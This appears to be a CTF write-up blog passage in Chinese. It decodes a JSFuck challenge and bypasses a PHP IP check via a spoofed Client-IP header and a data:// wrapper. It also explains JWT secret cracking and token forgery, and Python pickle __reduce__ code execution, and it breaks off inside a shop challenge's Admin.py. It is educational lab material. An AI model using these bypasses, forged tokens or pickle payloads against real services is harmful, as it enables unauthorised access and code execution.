[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][[]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[!+[]+!+[]+[!+[]+!+[]]]+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+!+[]]]+((+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+!+[]]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+!+[]]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]])()([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]]((+((+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+[+[]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]])+[])[!+[]+!+[]]+[+!+[]])+(![]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]])()())[!+[]+!+[]+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+(+(!+[]+!+[]+[+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+[+!+[]])+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]]+([+[]]+![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[!+[]+!+[]+[+[]]])

可以使用控制台来进行相应的解密,出现

1
post me Merak

然后我们随便post提交一个Merak参数的值,出现一串代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php 
error_reporting(0);
#include ‘takeip.php‘;
ini_set(‘open_basedir‘,‘.‘);
#include ‘flag.php‘;

if(isset($_POST[‘Merak‘])){
highlight_file(__FILE__);
die();
}


function change($v){
$v = base64_decode($v);
$re = ‘‘;
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo ‘Local access only!‘."<br/>";

$ip = getIp();

if($ip!=‘127.0.0.1‘)
echo "Sorry,you don‘t have permission! Your ip is :".$ip;
if($ip === ‘127.0.0.1‘ && file_get_contents($_GET[‘2333‘]) === ‘todat is a happy day‘ ){
echo "Your REQUEST is:".change($_GET[‘file‘]);
echo file_get_contents(change($_GET[‘file‘]));
}
?>

通过代码,得知我们可以利用file_get_contents()函数来读取flag文件,但是它里面有限制

1
2
3
4
5
1. 自定义函数change()的加密

2. $ip=127.0.0.1

3. $_GET[‘2333‘]) === ‘todat is a happy day‘

因此对于第一个限制,我们可以进行反解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
function unchange($v){

$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) - $i*2 );
}
return $re;
}



$real_flag = unchange('flag.php');

echo base64_encode($real_flag);
?>

而对于第二个限制,我们可以在包里加上

1
client-ip: 127.0.0.1

对于第三个限制,我们使用data伪协议

1
data://text/plain,todat is a happy day

因此,总的来说可以构造

1
2
3
4
?2333=data:text/plain,todat is a happy day&file=ZmpdYSZmXGI=

http头
Client-ip : 127.0.0.1

来获取flag

JWT以及python反序列化

JWT以及python反序列化

JWT

JWT,全称JSON Web Token,它是作为JSON对象在各方之间安全传输信息,该信息可以被验证和信任

JWT的使用场景

授权(Authorization):每个请求都会带有JWT,让其用户有允许访问特殊的路由、服务和资源的令牌

信息交换(Information Exchange):对于安全的在各方之间传输信息而言,JWT是很好的选择,因为JWT是有使用公钥/私钥签名的,而这个签名主要针对使用头和负载计算机,可以验证内容没有篡改

JWT构成

JWT由三部分构成,分别是header、payload、signature

1
header.payload.signature

header部分

header由两部分构成

1
2
3
4
token的类型,如:"typ":"JWT"

算法名称,如:"alg":"HS256"

然后用base64来进行加密,得到JWT的第一部分

payload部分

payloay包含声明,声明是用户和其它数据的声明,有三种类型

1
2
3
4
5
registered claims:预定义声明,不是强制的

public claims:可以随意定义

private claims:用于在同意使用它们的各方之间共享信息,不是公开的声明

实例

1
2
3
4
5
{
"sub":"1234567",
"name":"admds",
"admin":true
}

然后对payload进行base64加密,成为JWT的第二部分

Signature

Signature是一个签名,用来验证消息在传递过程中是否有篡改,并且,对于使用私钥签名的token,它还可以验证JWT的发送方是否为它所称的发送方

它的加密原理

1
HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)

其中的secret是私钥,一般会在注册登录的时候获得JWT,作为一个用户凭证

JWT的工作过程

当用户要访问受保护的资源的时候,则需要注册和登录,而就在这个过程中,用户会向授权服务器发出请求,授权服务器发出请求后,会返回一个JWT作为用户的凭证来访问受保护的资源,而JWT中的签名是用私钥加密的,提高了安全性

因此,如果我们伪造jwt的话,需要知道授权服务器的私钥,所以我们可以使用工具对私钥进行爆破,使用c-jwt-cracker,建议在ubuntu进行编译

1
c-jwt-cracker:https://github.com/brendan-rius/c-jwt-cracker

然后修改JWT的内容,再用获得的私钥进行加密,可以使用这个网站(https://jwt.io/),也可以使用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import jwt

# payload
token_dict = {
"username":"admin"
}
#headers
headers = {
"alg":"HS256",
"typ":"JWT"
}

# 调用jwt库,生成json web token
jwt_token = jwt.encode(token_dict, # payload
"1Kun", # 进行加密签名的密钥
algorithm="HS256", # 指明签名算法方式,默认S256
headers=headers # headers
).encode('ascii').decode('ascii') # 把py3得到的byte转码

print(jwt_token)

JWT详细可看:https://www.cnblogs.com/cjsblog/p/9277677.html

python反序列化

python反序列化使用pickle库以及函数来进行序列化,和php的serialize和unserialize作用一样

Pickle库以及函数

pickle库让python可以实现序列化和反序列化,而它会将二进制形式的序列化保存在文件中,后缀为.pkl,但是文件不能直接打开预览,其中反序列化和序列化的函数有

1
2
3
4
5
6
7
dumps:对象序列化为bytes对象

dump:对象序列化到文件对象,存入文件

loads:从bytes对象反序列化

load:对象反序列化,从文件中读取数据

dump/load

实例

1
2
3
4
5
6
7
8
9
10
11
import pickle

#序列化
pickle.dump(obj, file, protocol=None,)
obj表示要进行封装的对象(必填参数)
file表示obj要写入的文件对象
以二进制可写模式打开即wb(必填参数)
#反序列化
pickle.load(file, *, fix_imports=True, encoding="ASCII", errors="strict", buffers=None)
file文件中读取封存后的对象
以二进制可读模式打开即rb(必填参数)

看这串代码,我们可以知道dump函数以及load()函数的流程,就是用dump()函数将数据进行序列化,然后将序列化后得到的数据写入到一个文件中,然后load()函数读取文件,并将里面的数据进行反序列化

dumps/loads

实例

1
2
3
4
5
6
7
8
import pickle

#序列化
pickle.dumps(obj, protocol=None,*,fix_imports=True)
dumps()方法不需要写入文件中,直接返回一个序列化的bytes对象。
#反序列化
pickle.loads(bytes_object, *,fix_imports=True, encoding="ASCII". errors="strict")
loads()方法是直接从bytes对象中读取序列化的信息,而非从文件中读取。

我们可以知道dumps/loads的操作流程,即dumps()函数将数据进行序列化,并返回一个bytes对象出来,然后loads()函数直接从bytes对象中读取序列化的信息,然后进行反序列化即可,无需写入读取文件

PVM

对于python而言,python运行源码,是python解释器将源码编译成字节码,然后将字节码转发到python虚拟机中执行,即PVM就是用来解释字节码的引擎

PVM执行流程

首先PVM将源码编译成字节码,然后PVM再将字节码转发到python虚拟机中执行,不过两个阶段PVM不同,第一个是python解释器,第二个是python虚拟机

PVM与Pickle库的关系

Pickle是一门基于栈的编程语言,本质是一个轻量的PVM,它由三部分构成

指令处理器

1
从数据流中读取操作码和参数,并对其进行解释处理,在循环执行过程中会不改变stack和memo区域的值,直到遇到.这个结束符号

栈区(stack)

1
作为流数据处理过程中的暂存区,在不断进出栈过程中完成对数据流的反序列化操作,并最终在栈顶生成反序列化的结果

标签区(medo)

1
可以看作是数据索引或者标记,即将反序列化完成的数据以key-value的形式存储在medo中

指令处理器的操作码

1
2
3
4
5
6
7
8
9
10
11
c:读取本行的内容作为模块名,读取下一行的内容作为对象名object,然后将module.object作为可调用对象压入到栈中

(:将一个标记对象压入到栈中,用于确定命令执行的位置,该标志一般和t指令一起使用,从而产生一个元组

S : 后面跟字符串 , PVM会读取引号中的内容 , 直到遇见换行符 , 然后将读取到的内容压入到栈中

t : 从栈中不断弹出数据 , 弹射顺序与压栈时相同 , 直到弹出左括号 . 此时弹出的内容形成了一个元组 , 然后 , 该元组会被压入栈中

R : 将之前压入栈中的元组和可调用对象全部弹出 , 然后将该元组作为可调用参数的对象并执行该对象 。最后将结果压入到栈中

. : 结束整个 Pickle 反序列化过程

Pickle/CPickle反序列化漏洞

python反序列化漏洞一般出现在__reduce__()函数中,它会在dumps/dump()函数进行序列化时,自动调用这个__reduce__()函数,

1
2
3
__reduce__()

当__reduce__()函数返回一个元组时,第一个元素为可调用对象,这个对象会在创建对象时被调用,第二个元素时可调用对象的参数,同样是一个元组。它的功能和PVM的R操作码功能相似

其实,R操作码就是__reduce__()函数的底层实现,在序列化快结束时,python进程会自动调用__reduce__()方法,所以如果我们可以控制被调用函数的参数,就可以执行恶意代码

反序列化漏洞出现位置
  1. 解析认证token、session的时候

  2. 将对象Pickle后存储在磁盘文件

  3. 将对象Pickle后在网络中传输

  4. 参数传递给程序

执行恶意代码的实例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#模仿Epicccal师傅的例子
import pickle
import os

class Test2(object):
def __reduce__(self):
#被调用函数的参数
cmd = "/usr/bin/id"
return (os.system,(cmd,))

if __name__ == "__main__":
test = Test2()
#执行序列化操作
result1 = pickle.dumps(test)
#执行反序列化操作
result2 = pickle.loads(result1)

# __reduce__()魔法方法的返回值:
# return(os.system,(cmd,))
# 1.满足返回一个元组,元组中有两个参数
# 2.第一个参数是被调用函数 : os.system()
# 3.第二个参数是一个元组:(cmd,),元组中被调用的参数 cmd
# 4. 因此反序列化时被解析执行的代码是 os.system("/usr/bin/id")

实例

但我们打开页面时,发现是一个购物的界面,下面有一个提示就是找到lv6,所以我们可以写一个脚本,来找到有lv6的页面

1
2
3
4
5
6
7
8
import requests
url="http://7d7dae3b-0ab3-41da-ade2-10a524bf05a3.node4.buuoj.cn:81/shop?page="

for i in range(2000):
r=requests.get(url+str(i))
if 'lv6.png' in r.text:
print(i)
break

发现lv6后,打开购买界面,发现它的购买金额已经大于我们的钱袋里的钱,但是有优惠金额,所以我们可以抓包,然后修改优惠金额,让我们可以买到,修改后却说不是admin用户用不了,然后看到包里有JWT这个验证信息

1
JWT=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QifQ.l0qG4XbJbemqJXsaITaT8g78fkJ-boRvU2H7H1CY644

因此,我是用c-jwt-cracker爆破出密钥

1
1Kun

然后修改JWT中payload的值

1
{"username":"admin"}

然后用https://jwt.io/这个网站伪造一个JWT,放进包里,进行一个欺骗,然后进入到一个一键成为大会员的界面。之后打开页面源码,发现有源码泄露www.zip

得到源码后,由于我们当前的页面是admin的,所以我们打开y源码文件中的Admin.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')

@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
